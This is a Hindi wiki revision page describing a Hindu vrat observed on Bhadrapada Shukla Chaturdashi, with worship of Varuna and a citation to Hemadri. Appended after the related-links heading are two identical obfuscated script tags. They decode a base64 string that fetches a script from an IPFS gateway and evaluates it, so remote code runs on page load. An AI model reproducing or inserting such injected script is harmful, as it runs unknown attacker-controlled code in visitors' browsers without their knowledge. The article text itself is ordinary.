आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 6: | पंक्ति 6: | ||
*कर्ता सभी पापों से मुक्त हो जाता है और समृद्धि पाता है।<ref>हेमाद्रि (व्रतखण्ड 2, 130-132, भविष्योत्तरपुराण से उद्धरण)।</ref> | *कर्ता सभी पापों से मुक्त हो जाता है और समृद्धि पाता है।<ref>हेमाद्रि (व्रतखण्ड 2, 130-132, भविष्योत्तरपुराण से उद्धरण)।</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
09:53, 21 मार्च 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- भाद्रपद शुक्ल पक्ष की चतुर्दशी पर यह व्रत आरम्भ होता है।
- इस व्रत में वरुण देवता की पूजा होती है।
- एक मण्डल में वरुण का चित्र बनाया जाता है।
- सभी वर्णों के लोग (स्त्री-पुरुष) अर्ध्य दे सकते हैं, फलों पुष्पों, सभी अन्नों, दही आदि से मध्याह्न में पूजा कर सकते हैं।
- कर्ता सभी पापों से मुक्त हो जाता है और समृद्धि पाता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 130-132, भविष्योत्तरपुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>